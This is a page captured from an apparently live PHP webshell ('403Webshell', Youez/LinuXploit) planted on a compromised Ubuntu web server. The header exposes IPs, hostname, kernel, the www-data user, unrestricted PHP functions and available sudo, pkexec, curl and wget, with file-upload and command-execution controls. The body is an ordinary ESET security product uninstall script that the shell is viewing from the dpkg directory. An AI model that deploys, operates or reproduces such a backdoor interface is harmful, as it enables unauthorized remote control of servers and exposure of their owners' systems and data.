403Webshell
Server IP : 172.67.191.97  /  Your IP : 104.23.197.209
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/efs.prerm
#!/bin/sh

# Script to be run before package is uninstalled

if [ "$1" = "upgrade" ] || [ "$1" = "1" ]; then
	# upgrade exits here
	exit
fi

#################################### Uninstall ####################################
# dissociate product
if ! /opt/eset/efs/sbin/lic -d >/dev/null 2>/dev/null; then
	echo 'Error: License was not dissociated. Please use ESET PROTECT Hub, ESET Business Account or ESET MSP Administrator to dissociate license manually. If ESET PROTECT Hub is not yet available in your country, please use an ESET Business Account or ESET MSP Administrator account instead.' 1>&2
fi

# stop product, unregister from systemd
/opt/eset/efs/lib/install_scripts/unregister_service.sh

#remove selinux rules and all tmp files
/opt/eset/efs/lib/install_scripts/efs_selinux_uninstall_check.sh

# disable WAP/NIS integration based on existing disabler file from installation
NFTABLES_DISABLER_PATH="/opt/eset/efs/etc/NFTABLES_DISABLED"
if [ -f "$NFTABLES_DISABLER_PATH" ]; then
	DISABLE_NFTABLES=1
fi

if [ -z "$DISABLE_NFTABLES" ]; then
	/opt/eset/efs/lib/install_scripts/eset_efs_sysctl.sh disable
	/opt/eset/efs/lib/install_scripts/eset_efs_udev.sh disable
	/opt/eset/efs/lib/install_scripts/remove_certificates.sh

	NIS_DISABLE_SCRIPT_PATH=/var/opt/eset/efs/nis/nis_disable.nft
	if [ -x /usr/sbin/nft ]; then
		NFT_COMMAND=/usr/sbin/nft
	elif [ -x /sbin/nft ]; then
		NFT_COMMAND=/sbin/nft
	elif which nft > /dev/null 2>&1; then
		NFT_COMMAND=$(which nft)
	else
		echo "Error: nft command not found. You should run the nft script $NIS_DISABLE_SCRIPT_PATH manually to ensure the machine is in a consistent state."
	fi

	if [ -n "${NFT_COMMAND}" ]; then
		if [ -f "$NIS_DISABLE_SCRIPT_PATH" ]; then
			${NFT_COMMAND} -f "$NIS_DISABLE_SCRIPT_PATH"
		fi

		# remove nis folder
		rm -rf /var/opt/eset/efs/nis
	fi
fi

### NOTE: All directories created by ApplicationBase::CreateAppDir() must be explicitly deleted bellow.
# remove license file and settings
rm -rf /var/opt/eset/efs/licensed

# remove confd folder
rm -rf /var/opt/eset/efs/confd

# remove wap folder
rm -rf /var/opt/eset/efs/wap

# remove storage folder
rm -rf /var/opt/eset/efs/storage

# remove SHA256 FileHashType enabler file
rm -f "/opt/eset/efs/etc/SHA256_ENABLED"

# remove possible residual scheduled tasks
find "/etc/cron.d/" -maxdepth 1 -name "eset-efs*" -exec rm -f {} + || true

# remove config file with custom environment variables
rm -f /opt/eset/efs/etc/systemd/environment

# remove NFTABLES disabler file
rm -f "$NFTABLES_DISABLER_PATH"

# remove directories created from product_paths.json
rm -rf /var/opt/eset/efs/dumps
rm -rf /opt/eset/lib/modules
rm -rf /opt/eset/lib
rm -rf /var/opt/eset/efs/updated/modules
rm -rf /var/opt/eset/efs/updated/app
rm -rf /var/opt/eset/efs/updated
rm -rf /var/opt/eset/efs/modules_notice
rm -rf /var/opt/eset/efs/vapm/logs
rm -rf /var/opt/eset/efs/vapm/database
rm -rf /var/opt/eset/efs/vapm
rm -rf /var/opt/eset/efs/installer
rm -rf /var/opt/eset/efs/cache/data/Diagnostics
rm -rf /var/opt/eset/efs/cache/data/Logs
rm -rf /var/opt/eset/efs/cache/data
rm -rf /var/opt/eset/efs/cache
rm -rf /var/run/eset/efs
rm -rf /var/log/eset/efs/internal
rm -rf /var/log/eset/efs/logd
rm -rf /var/log/eset/efs



Youez - 2016 - github.com/yon3zu
LinuXploit